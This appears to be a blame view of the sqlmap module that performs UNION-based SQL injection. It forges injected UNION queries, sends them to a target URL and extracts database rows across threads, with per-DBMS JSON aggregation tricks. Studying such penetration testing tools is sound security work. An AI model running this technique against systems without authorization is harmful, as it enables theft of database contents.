2019-05-08 13:47:52 +03:00
#!/usr/bin/env python
2008-10-15 19:38:22 +04:00
"""
2024-01-04 01:11:52 +03:00
Copyright ( c ) 2006 - 2024 sqlmap developers ( https : / / sqlmap . org / )
2017-10-11 15:50:46 +03:00
See the file ' LICENSE ' for copying permission
2008-10-15 19:38:22 +04:00
"""
2020-10-27 16:06:56 +03:00
import json
2008-12-10 20:23:07 +03:00
import re
2008-10-15 19:38:22 +04:00
import time
from lib . core . agent import agent
2012-02-16 13:46:41 +04:00
from lib . core . bigarray import BigArray
2012-03-19 16:00:22 +04:00
from lib . core . common import arrayizeValue
2011-01-28 19:36:09 +03:00
from lib . core . common import Backend
2011-01-31 15:41:39 +03:00
from lib . core . common import calculateDeltaSeconds
2011-03-26 00:31:26 +03:00
from lib . core . common import clearConsoleLine
from lib . core . common import dataToStdout
2011-03-17 11:54:20 +03:00
from lib . core . common import extractRegexResult
2018-07-27 01:53:14 +03:00
from lib . core . common import firstNotNone
2012-04-03 17:56:11 +04:00
from lib . core . common import flattenValue
2011-04-13 18:33:15 +04:00
from lib . core . common import getConsoleWidth
2013-02-03 15:31:05 +04:00
from lib . core . common import getPartRun
2012-02-24 17:07:20 +04:00
from lib . core . common import hashDBRetrieve
from lib . core . common import hashDBWrite
2011-12-21 15:50:49 +04:00
from lib . core . common import incrementCounter
2011-01-12 01:18:47 +03:00
from lib . core . common import initTechnique
2021-02-23 14:00:59 +03:00
from lib . core . common import isDigit
2013-01-04 20:09:07 +04:00
from lib . core . common import isListLike
2012-03-14 17:16:49 +04:00
from lib . core . common import isNoneValue
2011-01-19 02:02:11 +03:00
from lib . core . common import isNumPosStrValue
2011-01-31 15:41:39 +03:00
from lib . core . common import listToStrValue
2008-12-10 20:23:07 +03:00
from lib . core . common import parseUnionPage
2011-02-25 12:22:44 +03:00
from lib . core . common import removeReflectiveValues
2012-12-19 17:21:16 +04:00
from lib . core . common import singleTimeDebugMessage
2011-06-08 18:35:23 +04:00
from lib . core . common import singleTimeWarnMessage
2012-12-29 13:35:05 +04:00
from lib . core . common import unArrayizeValue
2013-01-29 23:53:11 +04:00
from lib . core . common import wasLastResponseDBMSError
2019-03-28 18:04:38 +03:00
from lib . core . compat import xrange
2024-11-06 14:51:23 +03:00
from lib . core . convert import decodeBase64
2019-05-06 01:54:21 +03:00
from lib . core . convert import getUnicode
2019-05-20 12:24:43 +03:00
from lib . core . convert import htmlUnescape
2008-10-15 19:38:22 +04:00
from lib . core . data import conf
from lib . core . data import kb
from lib . core . data import logger
2008-12-10 20:23:07 +03:00
from lib . core . data import queries
2012-08-21 13:19:15 +04:00
from lib . core . dicts import FROM_DUMMY_TABLE
2010-11-08 12:20:02 +03:00
from lib . core . enums import DBMS
2018-03-08 19:44:15 +03:00
from lib . core . enums import HTTP_HEADER
2011-01-12 01:18:47 +03:00
from lib . core . enums import PAYLOAD
2015-11-20 13:32:54 +03:00
from lib . core . exception import SqlmapDataException
2012-12-06 17:14:19 +04:00
from lib . core . exception import SqlmapSyntaxException
2013-12-27 12:40:33 +04:00
from lib . core . settings import MAX_BUFFERED_PARTIAL_UNION_LENGTH
2016-07-15 00:18:28 +03:00
from lib . core . settings import NULL
2011-05-19 20:45:05 +04:00
from lib . core . settings import SQL_SCALAR_REGEX
2011-04-22 23:58:10 +04:00
from lib . core . settings import TURN_OFF_RESUME_INFO_LIMIT
2011-05-30 03:17:50 +04:00
from lib . core . threads import getCurrentThreadData
from lib . core . threads import runThreads
2008-10-15 19:38:22 +04:00
from lib . core . unescaper import unescaper
from lib . request . connect import Connect as Request
2013-05-13 16:50:03 +04:00
from lib . utils . progress import ProgressBar
2019-09-11 15:05:25 +03:00
from lib . utils . safe2bin import safecharencode
2019-03-28 15:53:54 +03:00
from thirdparty import six
2019-03-11 16:36:01 +03:00
from thirdparty . odict import OrderedDict
2008-10-15 19:38:22 +04:00
2012-12-06 17:14:19 +04:00
def _oneShotUnionUse ( expression , unpack = True , limited = False ) :
2016-02-13 23:03:05 +03:00
retVal = hashDBRetrieve ( " %s %s " % ( conf . hexConvert or False , expression ) , checkConf = True ) # as UNION data is stored raw unconverted
2011-09-26 00:36:32 +04:00
2011-10-12 02:40:00 +04:00
threadData = getCurrentThreadData ( )
threadData . resumed = retVal is not None
2011-10-12 01:58:57 +04:00
if retVal is None :
2011-09-26 00:36:32 +04:00
vector = kb . injection . data [ PAYLOAD . TECHNIQUE . UNION ] . vector
2016-07-15 00:18:28 +03:00
2020-10-28 18:48:11 +03:00
if not kb . jsonAggMode :
2016-07-15 00:18:28 +03:00
injExpression = unescaper . escape ( agent . concatQuery ( expression , unpack ) )
kb . unionDuplicates = vector [ 7 ]
kb . forcePartialUnion = vector [ 8 ]
2020-03-02 14:43:12 +03:00
# Note: introduced columns in 1.4.2.42#dev
try :
kb . tableFrom = vector [ 9 ]
kb . unionTemplate = vector [ 10 ]
except IndexError :
pass
2016-07-15 00:18:28 +03:00
query = agent . forgeUnionQuery ( injExpression , vector [ 0 ] , vector [ 1 ] , vector [ 2 ] , vector [ 3 ] , vector [ 4 ] , vector [ 5 ] , vector [ 6 ] , None , limited )
where = PAYLOAD . WHERE . NEGATIVE if conf . limitStart or conf . limitStop else vector [ 6 ]
else :
2021-01-04 15:25:29 +03:00
injExpression = unescaper . escape ( expression )
2016-07-15 00:18:28 +03:00
where = vector [ 6 ]
2021-01-04 15:25:29 +03:00
query = agent . forgeUnionQuery ( injExpression , vector [ 0 ] , vector [ 1 ] , vector [ 2 ] , vector [ 3 ] , vector [ 4 ] , vector [ 5 ] , vector [ 6 ] , None , False )
2016-07-15 00:18:28 +03:00
2011-09-26 00:36:32 +04:00
payload = agent . payload ( newValue = query , where = where )
# Perform the request
2017-06-05 17:28:19 +03:00
page , headers , _ = Request . queryPage ( payload , content = True , raise404 = False )
2011-09-26 00:36:32 +04:00
2021-10-11 22:38:36 +03:00
if page and kb . chars . start . upper ( ) in page and kb . chars . start not in page :
singleTimeWarnMessage ( " results seems to be upper-cased by force. sqlmap will automatically lower-case them " )
page = page . lower ( )
2011-12-21 15:50:49 +04:00
incrementCounter ( PAYLOAD . TECHNIQUE . UNION )
2011-09-26 00:36:32 +04:00
2020-10-28 18:48:11 +03:00
if kb . jsonAggMode :
2021-10-08 18:33:43 +03:00
for _page in ( page or " " , ( page or " " ) . replace ( ' \\ " ' , ' " ' ) ) :
if Backend . isDbms ( DBMS . MSSQL ) :
output = extractRegexResult ( r " %s (?P<result>.*) %s " % ( kb . chars . start , kb . chars . stop ) , removeReflectiveValues ( _page , payload ) )
if output :
try :
retVal = " "
fields = re . findall ( r ' " ([^ " ]+) " : ' , extractRegexResult ( r " { (?P<result>[^}]+)} " , output ) )
for row in json . loads ( output ) :
retVal + = " %s %s %s " % ( kb . chars . start , kb . chars . delimiter . join ( getUnicode ( row [ field ] or NULL ) for field in fields ) , kb . chars . stop )
except :
2022-01-14 01:10:12 +03:00
retVal = None
2021-10-08 18:33:43 +03:00
else :
retVal = getUnicode ( retVal )
elif Backend . isDbms ( DBMS . PGSQL ) :
output = extractRegexResult ( r " (?P<result> %s .* %s ) " % ( kb . chars . start , kb . chars . stop ) , removeReflectiveValues ( _page , payload ) )
if output :
retVal = output
else :
output = extractRegexResult ( r " %s (?P<result>.*?) %s " % ( kb . chars . start , kb . chars . stop ) , removeReflectiveValues ( _page , payload ) )
if output :
try :
retVal = " "
for row in json . loads ( output ) :
2024-11-06 14:51:23 +03:00
# NOTE: for cases with automatic MySQL Base64 encoding of JSON array values, like: ["base64:type15:MQ=="]
for match in re . finditer ( r " base64:type \ d+:([^ ]+) " , row ) :
row = row . replace ( match . group ( 0 ) , decodeBase64 ( match . group ( 1 ) , binary = False ) )
2021-10-08 18:33:43 +03:00
retVal + = " %s %s %s " % ( kb . chars . start , row , kb . chars . stop )
except :
2022-01-14 01:10:12 +03:00
retVal = None
2021-10-08 18:33:43 +03:00
else :
retVal = getUnicode ( retVal )
if retVal :
break
2020-10-27 16:06:56 +03:00
else :
# Parse the returned page to get the exact UNION-based
# SQL injection output
def _ ( regex ) :
return firstNotNone (
extractRegexResult ( regex , removeReflectiveValues ( page , payload ) , re . DOTALL | re . IGNORECASE ) ,
extractRegexResult ( regex , removeReflectiveValues ( listToStrValue ( ( _ for _ in headers . headers if not _ . startswith ( HTTP_HEADER . URI ) ) if headers else None ) , payload , True ) , re . DOTALL | re . IGNORECASE )
)
# Automatically patching last char trimming cases
if kb . chars . stop not in ( page or " " ) and kb . chars . stop [ : - 1 ] in ( page or " " ) :
warnMsg = " automatically patching output having last char trimmed "
singleTimeWarnMessage ( warnMsg )
page = page . replace ( kb . chars . stop [ : - 1 ] , kb . chars . stop )
retVal = _ ( " (?P<result> %s .* %s ) " % ( kb . chars . start , kb . chars . stop ) )
2011-09-26 00:36:32 +04:00
if retVal is not None :
retVal = getUnicode ( retVal , kb . pageEncoding )
2012-02-29 19:02:24 +04:00
2016-02-13 23:03:05 +03:00
# Special case when DBMS is Microsoft SQL Server and error message is used as a result of UNION injection
2013-01-29 23:53:11 +04:00
if Backend . isDbms ( DBMS . MSSQL ) and wasLastResponseDBMSError ( ) :
2019-05-20 12:24:43 +03:00
retVal = htmlUnescape ( retVal ) . replace ( " <br> " , " \n " )
2012-05-09 18:00:07 +04:00
2015-11-25 12:12:07 +03:00
hashDBWrite ( " %s %s " % ( conf . hexConvert or False , expression ) , retVal )
2016-07-15 00:18:28 +03:00
2020-10-28 18:48:11 +03:00
elif not kb . jsonAggMode :
2012-06-29 12:31:03 +04:00
trimmed = _ ( " %s (?P<result>.*?)< " % ( kb . chars . start ) )
2011-09-26 00:36:32 +04:00
if trimmed :
2013-01-15 16:51:19 +04:00
warnMsg = " possible server trimmed output detected "
warnMsg + = " (probably due to its length and/or content): "
2012-07-30 23:43:32 +04:00
warnMsg + = safecharencode ( trimmed )
2022-06-22 13:04:34 +03:00
logger . warning ( warnMsg )
2020-12-01 14:16:15 +03:00
2020-05-06 00:40:37 +03:00
elif re . search ( r " ORDER BY [^ ]+ \ Z " , expression ) :
debugMsg = " retrying failed SQL query without the ORDER BY clause "
2020-10-13 11:32:09 +03:00
singleTimeDebugMessage ( debugMsg )
2020-05-06 00:40:37 +03:00
expression = re . sub ( r " \ s*ORDER BY [^ ]+ \ Z " , " " , expression )
2020-05-06 00:50:45 +03:00
retVal = _oneShotUnionUse ( expression , unpack , limited )
2020-12-01 14:16:15 +03:00
elif kb . nchar and re . search ( r " AS N(CHAR|VARCHAR) " , agent . nullAndCastField ( expression ) ) :
debugMsg = " turning off NATIONAL CHARACTER casting " # NOTE: in some cases there are "known" incompatibilities between original columns and NCHAR (e.g. http://testphp.vulnweb.com/artists.php?artist=1)
singleTimeDebugMessage ( debugMsg )
kb . nchar = False
retVal = _oneShotUnionUse ( expression , unpack , limited )
2015-11-25 12:21:32 +03:00
else :
vector = kb . injection . data [ PAYLOAD . TECHNIQUE . UNION ] . vector
kb . unionDuplicates = vector [ 7 ]
2011-09-26 00:36:32 +04:00
return retVal
2011-02-02 01:07:42 +03:00
2011-01-20 01:48:06 +03:00
def configUnion ( char = None , columns = None ) :
2012-12-06 17:14:19 +04:00
def _configUnionChar ( char ) :
2019-03-28 15:53:54 +03:00
if not isinstance ( char , six . string_types ) :
2011-05-10 19:34:54 +04:00
return
kb . uChar = char
if conf . uChar is not None :
2021-02-23 14:00:59 +03:00
kb . uChar = char . replace ( " [CHAR] " , conf . uChar if isDigit ( conf . uChar ) else " ' %s ' " % conf . uChar . strip ( " ' " ) )
2011-01-18 01:57:33 +03:00
2012-12-06 17:14:19 +04:00
def _configUnionCols ( columns ) :
2019-03-28 15:53:54 +03:00
if not isinstance ( columns , six . string_types ) :
2011-05-10 19:34:54 +04:00
return
2021-02-23 14:00:59 +03:00
columns = columns . replace ( ' ' , " " )
if ' - ' in columns :
colsStart , colsStop = columns . split ( ' - ' )
2011-06-18 14:51:14 +04:00
else :
colsStart , colsStop = columns , columns
2011-01-18 01:57:33 +03:00
2021-02-23 14:00:59 +03:00
if not isDigit ( colsStart ) or not isDigit ( colsStop ) :
2013-01-04 02:20:55 +04:00
raise SqlmapSyntaxException ( " --union-cols must be a range of integers " )
2011-01-18 01:57:33 +03:00
2011-12-21 15:50:49 +04:00
conf . uColsStart , conf . uColsStop = int ( colsStart ) , int ( colsStop )
2011-01-18 01:57:33 +03:00
2011-01-20 01:48:06 +03:00
if conf . uColsStart > conf . uColsStop :
2021-02-23 14:00:59 +03:00
errMsg = " --union-cols range has to represent lower to "
2011-01-20 01:48:06 +03:00
errMsg + = " higher number of columns "
2013-01-04 02:20:55 +04:00
raise SqlmapSyntaxException ( errMsg )
2011-01-18 01:57:33 +03:00
2012-12-06 17:14:19 +04:00
_configUnionChar ( char )
_configUnionCols ( conf . uCols or columns )
2011-01-18 01:57:33 +03:00
2011-02-07 01:32:44 +03:00
def unionUse ( expression , unpack = True , dump = False ) :
2008-10-15 19:38:22 +04:00
"""
2016-02-13 23:03:05 +03:00
This function tests for an UNION SQL injection on the target
2013-04-09 13:48:42 +04:00
URL then call its subsidiary function to effectively perform an
2016-02-13 23:03:05 +03:00
UNION SQL injection on the affected URL
2008-10-15 19:38:22 +04:00
"""
2011-01-12 01:18:47 +03:00
initTechnique ( PAYLOAD . TECHNIQUE . UNION )
2012-02-03 14:38:04 +04:00
abortedFlag = False
2011-01-19 02:02:11 +03:00
count = None
origExpr = expression
2008-12-10 20:23:07 +03:00
startLimit = 0
2011-01-19 02:02:11 +03:00
stopLimit = None
2012-02-23 17:31:50 +04:00
value = None
2011-12-21 15:50:49 +04:00
2011-04-13 18:33:15 +04:00
width = getConsoleWidth ( )
2011-02-02 01:07:42 +03:00
start = time . time ( )
2008-12-10 20:23:07 +03:00
2011-02-02 01:07:42 +03:00
_ , _ , _ , _ , _ , expressionFieldsList , expressionFields , _ = agent . getFields ( origExpr )
2008-12-10 20:23:07 +03:00
2013-02-03 15:31:05 +04:00
# Set kb.partRun in case the engine is called from the API
2017-04-10 20:21:22 +03:00
kb . partRun = getPartRun ( alias = False ) if conf . api else None
2013-02-03 15:31:05 +04:00
2020-10-28 16:36:25 +03:00
if expressionFieldsList and len ( expressionFieldsList ) > 1 and " ORDER BY " in expression . upper ( ) :
# Removed ORDER BY clause because UNION does not play well with it
expression = re . sub ( r " (?i) \ s*ORDER BY \ s+[ \ w,]+ " , " " , expression )
debugMsg = " stripping ORDER BY clause from statement because "
debugMsg + = " it does not play well with UNION query SQL injection "
singleTimeDebugMessage ( debugMsg )
2022-11-29 17:12:18 +03:00
if Backend . getIdentifiedDbms ( ) in ( DBMS . MYSQL , DBMS . ORACLE , DBMS . PGSQL , DBMS . MSSQL , DBMS . SQLITE ) and expressionFields and not any ( ( conf . binaryFields , conf . limitStart , conf . limitStop , conf . forcePartial , conf . disableJson ) ) :
2020-10-27 16:06:56 +03:00
match = re . search ( r " SELECT \ s*(.+?) \ bFROM " , expression , re . I )
2024-11-06 14:51:23 +03:00
if match and not ( Backend . isDbms ( DBMS . ORACLE ) and FROM_DUMMY_TABLE [ DBMS . ORACLE ] in expression ) and not re . search ( r " \ b(MIN|MAX|COUNT|EXISTS) \ ( " , expression ) :
2020-10-27 16:06:56 +03:00
kb . jsonAggMode = True
2020-10-28 14:57:25 +03:00
if Backend . isDbms ( DBMS . MYSQL ) :
2020-10-28 16:36:25 +03:00
query = expression . replace ( expressionFields , " CONCAT( ' %s ' ,JSON_ARRAYAGG(CONCAT_WS( ' %s ' , %s )), ' %s ' ) " % ( kb . chars . start , kb . chars . delimiter , expressionFields , kb . chars . stop ) , 1 )
elif Backend . isDbms ( DBMS . ORACLE ) :
query = expression . replace ( expressionFields , " ' %s ' ||JSON_ARRAYAGG( %s )|| ' %s ' " % ( kb . chars . start , ( " || ' %s ' || " % kb . chars . delimiter ) . join ( expressionFieldsList ) , kb . chars . stop ) , 1 )
2021-01-12 17:36:02 +03:00
elif Backend . isDbms ( DBMS . SQLITE ) :
query = expression . replace ( expressionFields , " ' %s ' ||JSON_GROUP_ARRAY( %s )|| ' %s ' " % ( kb . chars . start , ( " || ' %s ' || " % kb . chars . delimiter ) . join ( " COALESCE( %s , ' ' ) " % field for field in expressionFieldsList ) , kb . chars . stop ) , 1 )
2020-10-28 16:38:13 +03:00
elif Backend . isDbms ( DBMS . PGSQL ) : # Note: ARRAY_AGG does CSV alike output, thus enclosing start/end inside each item
2020-10-28 16:36:25 +03:00
query = expression . replace ( expressionFields , " ARRAY_AGG( ' %s ' || %s || ' %s ' )::text " % ( kb . chars . start , ( " || ' %s ' || " % kb . chars . delimiter ) . join ( " COALESCE( %s ::text, ' ' ) " % field for field in expressionFieldsList ) , kb . chars . stop ) , 1 )
2020-10-28 18:48:11 +03:00
elif Backend . isDbms ( DBMS . MSSQL ) :
query = " ' %s ' +( %s FOR JSON AUTO, INCLUDE_NULL_VALUES)+ ' %s ' " % ( kb . chars . start , expression , kb . chars . stop )
2020-10-28 16:36:25 +03:00
output = _oneShotUnionUse ( query , False )
2020-10-27 16:06:56 +03:00
value = parseUnionPage ( output )
kb . jsonAggMode = False
2016-07-15 00:18:28 +03:00
2011-02-02 01:07:42 +03:00
# We have to check if the SQL query might return multiple entries
2012-12-19 16:17:56 +04:00
# if the technique is partial UNION query and in such case forge the
# SQL limiting the query output one entry at a time
# NOTE: we assume that only queries that get data from a table can
2011-02-02 01:07:42 +03:00
# return multiple entries
2019-07-18 12:58:40 +03:00
if value is None and ( kb . injection . data [ PAYLOAD . TECHNIQUE . UNION ] . where == PAYLOAD . WHERE . NEGATIVE or kb . forcePartialUnion or conf . forcePartial or ( dump and ( conf . limitStart or conf . limitStop ) ) or " LIMIT " in expression . upper ( ) ) and " FROM " in expression . upper ( ) and ( ( Backend . getIdentifiedDbms ( ) not in FROM_DUMMY_TABLE ) or ( Backend . getIdentifiedDbms ( ) in FROM_DUMMY_TABLE and not expression . upper ( ) . endswith ( FROM_DUMMY_TABLE [ Backend . getIdentifiedDbms ( ) ] ) ) ) and not re . search ( SQL_SCALAR_REGEX , expression , re . I ) :
2012-12-19 16:17:56 +04:00
expression , limitCond , topLimit , startLimit , stopLimit = agent . limitCondition ( expression , dump )
2008-10-15 19:38:22 +04:00
2011-02-02 01:07:42 +03:00
if limitCond :
# Count the number of SQL query entries output
2012-11-15 18:06:54 +04:00
countedExpression = expression . replace ( expressionFields , queries [ Backend . getIdentifiedDbms ( ) ] . count . query % ( ' * ' if len ( expressionFieldsList ) > 1 else expressionFields ) , 1 )
2011-02-02 01:07:42 +03:00
2012-02-01 14:14:23 +04:00
if " ORDER BY " in countedExpression . upper ( ) :
_ = countedExpression . upper ( ) . rindex ( " ORDER BY " )
countedExpression = countedExpression [ : _ ]
2011-02-02 01:07:42 +03:00
2012-12-06 17:14:19 +04:00
output = _oneShotUnionUse ( countedExpression , unpack )
2012-12-29 13:35:05 +04:00
count = unArrayizeValue ( parseUnionPage ( output ) )
2011-02-02 01:07:42 +03:00
2011-05-12 15:36:02 +04:00
if isNumPosStrValue ( count ) :
2011-02-02 01:07:42 +03:00
if isinstance ( stopLimit , int ) and stopLimit > 0 :
stopLimit = min ( int ( count ) , int ( stopLimit ) )
else :
stopLimit = int ( count )
2020-01-25 18:33:48 +03:00
debugMsg = " used SQL query returns "
debugMsg + = " %d %s " % ( stopLimit , " entries " if stopLimit > 1 else " entry " )
logger . debug ( debugMsg )
2011-02-25 12:22:44 +03:00
2019-03-28 15:53:54 +03:00
elif count and ( not isinstance ( count , six . string_types ) or not count . isdigit ( ) ) :
2011-05-12 15:36:02 +04:00
warnMsg = " it was not possible to count the number "
2011-08-02 12:39:32 +04:00
warnMsg + = " of entries for the SQL query provided. "
2011-05-12 15:36:02 +04:00
warnMsg + = " sqlmap will assume that it returns only "
warnMsg + = " one entry "
2022-06-22 13:04:34 +03:00
logger . warning ( warnMsg )
2011-05-12 15:36:02 +04:00
stopLimit = 1
2023-09-07 12:03:01 +03:00
elif not isNumPosStrValue ( count ) :
2012-01-07 21:45:45 +04:00
if not count :
warnMsg = " the SQL query provided does not "
warnMsg + = " return any output "
2022-06-22 13:04:34 +03:00
logger . warning ( warnMsg )
2012-05-09 14:34:21 +04:00
else :
value = [ ] # for empty tables
2011-08-02 21:31:13 +04:00
return value
2011-08-02 12:39:32 +04:00
2017-06-07 12:22:06 +03:00
if isNumPosStrValue ( count ) and int ( count ) > 1 :
threadData = getCurrentThreadData ( )
try :
threadData . shared . limits = iter ( xrange ( startLimit , stopLimit ) )
except OverflowError :
errMsg = " boundary limits ( %d , %d ) are too large. Please rerun " % ( startLimit , stopLimit )
errMsg + = " with switch ' --fresh-queries ' "
raise SqlmapDataException ( errMsg )
numThreads = min ( conf . threads , ( stopLimit - startLimit ) )
threadData . shared . value = BigArray ( )
threadData . shared . buffered = [ ]
threadData . shared . counter = 0
threadData . shared . lastFlushed = startLimit - 1
threadData . shared . showEta = conf . eta and ( stopLimit - startLimit ) > 1
if threadData . shared . showEta :
threadData . shared . progress = ProgressBar ( maxValue = ( stopLimit - startLimit ) )
if stopLimit > TURN_OFF_RESUME_INFO_LIMIT :
kb . suppressResumeInfo = True
2021-02-23 14:00:59 +03:00
debugMsg = " suppressing possible resume console info for "
debugMsg + = " large number of rows as it might take too long "
2017-06-07 12:22:06 +03:00
logger . debug ( debugMsg )
try :
def unionThread ( ) :
threadData = getCurrentThreadData ( )
while kb . threadContinue :
with kb . locks . limit :
try :
threadData . shared . counter + = 1
2019-01-22 04:47:06 +03:00
num = next ( threadData . shared . limits )
2017-06-07 12:22:06 +03:00
except StopIteration :
break
if Backend . getIdentifiedDbms ( ) in ( DBMS . MSSQL , DBMS . SYBASE ) :
field = expressionFieldsList [ 0 ]
elif Backend . isDbms ( DBMS . ORACLE ) :
field = expressionFieldsList
else :
field = None
limitedExpr = agent . limitQuery ( num , expression , field )
output = _oneShotUnionUse ( limitedExpr , unpack , True )
if not kb . threadContinue :
2012-06-14 17:50:36 +04:00
break
2011-06-07 13:50:00 +04:00
2017-06-07 12:22:06 +03:00
if output :
with kb . locks . value :
if all ( _ in output for _ in ( kb . chars . start , kb . chars . stop ) ) :
items = parseUnionPage ( output )
if threadData . shared . showEta :
2018-07-05 16:13:51 +03:00
threadData . shared . progress . progress ( threadData . shared . counter )
2017-06-07 12:22:06 +03:00
if isListLike ( items ) :
# in case that we requested N columns and we get M!=N then we have to filter a bit
if len ( items ) > 1 and len ( expressionFieldsList ) > 1 :
items = [ item for item in items if isListLike ( item ) and len ( item ) == len ( expressionFieldsList ) ]
items = [ _ for _ in flattenValue ( items ) ]
if len ( items ) > len ( expressionFieldsList ) :
filtered = OrderedDict ( )
for item in items :
key = re . sub ( r " [^A-Za-z0-9] " , " " , item ) . lower ( )
if key not in filtered or re . search ( r " [^A-Za-z0-9] " , item ) :
filtered [ key ] = item
2019-05-15 11:30:47 +03:00
items = list ( six . itervalues ( filtered ) )
2017-06-07 12:22:06 +03:00
items = [ items ]
index = None
for index in xrange ( 1 + len ( threadData . shared . buffered ) ) :
if index < len ( threadData . shared . buffered ) and threadData . shared . buffered [ index ] [ 0 ] > = num :
break
threadData . shared . buffered . insert ( index or 0 , ( num , items ) )
else :
index = None
if threadData . shared . showEta :
2018-07-05 16:13:51 +03:00
threadData . shared . progress . progress ( threadData . shared . counter )
2017-06-07 12:22:06 +03:00
for index in xrange ( 1 + len ( threadData . shared . buffered ) ) :
if index < len ( threadData . shared . buffered ) and threadData . shared . buffered [ index ] [ 0 ] > = num :
break
threadData . shared . buffered . insert ( index or 0 , ( num , None ) )
items = output . replace ( kb . chars . start , " " ) . replace ( kb . chars . stop , " " ) . split ( kb . chars . delimiter )
while threadData . shared . buffered and ( threadData . shared . lastFlushed + 1 > = threadData . shared . buffered [ 0 ] [ 0 ] or len ( threadData . shared . buffered ) > MAX_BUFFERED_PARTIAL_UNION_LENGTH ) :
threadData . shared . lastFlushed , _ = threadData . shared . buffered [ 0 ]
if not isNoneValue ( _ ) :
threadData . shared . value . extend ( arrayizeValue ( _ ) )
del threadData . shared . buffered [ 0 ]
2019-06-27 18:28:43 +03:00
if conf . verbose == 1 and not ( threadData . resumed and kb . suppressResumeInfo ) and not threadData . shared . showEta and not kb . bruteMode :
2019-03-28 15:53:54 +03:00
_ = ' , ' . join ( " ' %s ' " % _ for _ in ( flattenValue ( arrayizeValue ( items ) ) if not isinstance ( items , six . string_types ) else [ items ] ) )
2017-06-07 12:22:06 +03:00
status = " [ %s ] [INFO] %s : %s " % ( time . strftime ( " %X " ) , " resumed " if threadData . resumed else " retrieved " , _ if kb . safeCharEncode else safecharencode ( _ ) )
if len ( status ) > width :
status = " %s ... " % status [ : width - 3 ]
dataToStdout ( " %s \n " % status )
runThreads ( numThreads , unionThread )
if conf . verbose == 1 :
clearConsoleLine ( True )
except KeyboardInterrupt :
abortedFlag = True
warnMsg = " user aborted during enumeration. sqlmap "
warnMsg + = " will display partial output "
2022-06-22 13:04:34 +03:00
logger . warning ( warnMsg )
2008-10-15 19:38:22 +04:00
2017-06-07 12:22:06 +03:00
finally :
for _ in sorted ( threadData . shared . buffered ) :
if not isNoneValue ( _ [ 1 ] ) :
threadData . shared . value . extend ( arrayizeValue ( _ [ 1 ] ) )
value = threadData . shared . value
kb . suppressResumeInfo = False
2011-04-22 23:58:10 +04:00
2012-02-03 14:38:04 +04:00
if not value and not abortedFlag :
2013-03-19 13:42:20 +04:00
output = _oneShotUnionUse ( expression , unpack )
value = parseUnionPage ( output )
2008-10-15 19:38:22 +04:00
2011-02-02 01:07:42 +03:00
duration = calculateDeltaSeconds ( start )
2008-10-15 19:38:22 +04:00
2011-04-08 15:02:21 +04:00
if not kb . bruteMode :
2020-10-27 16:57:12 +03:00
debugMsg = " performed %d quer %s in %.2f seconds " % ( kb . counters [ PAYLOAD . TECHNIQUE . UNION ] , ' y ' if kb . counters [ PAYLOAD . TECHNIQUE . UNION ] == 1 else " ies " , duration )
2011-04-08 15:02:21 +04:00
logger . debug ( debugMsg )
2008-10-15 19:38:22 +04:00
return value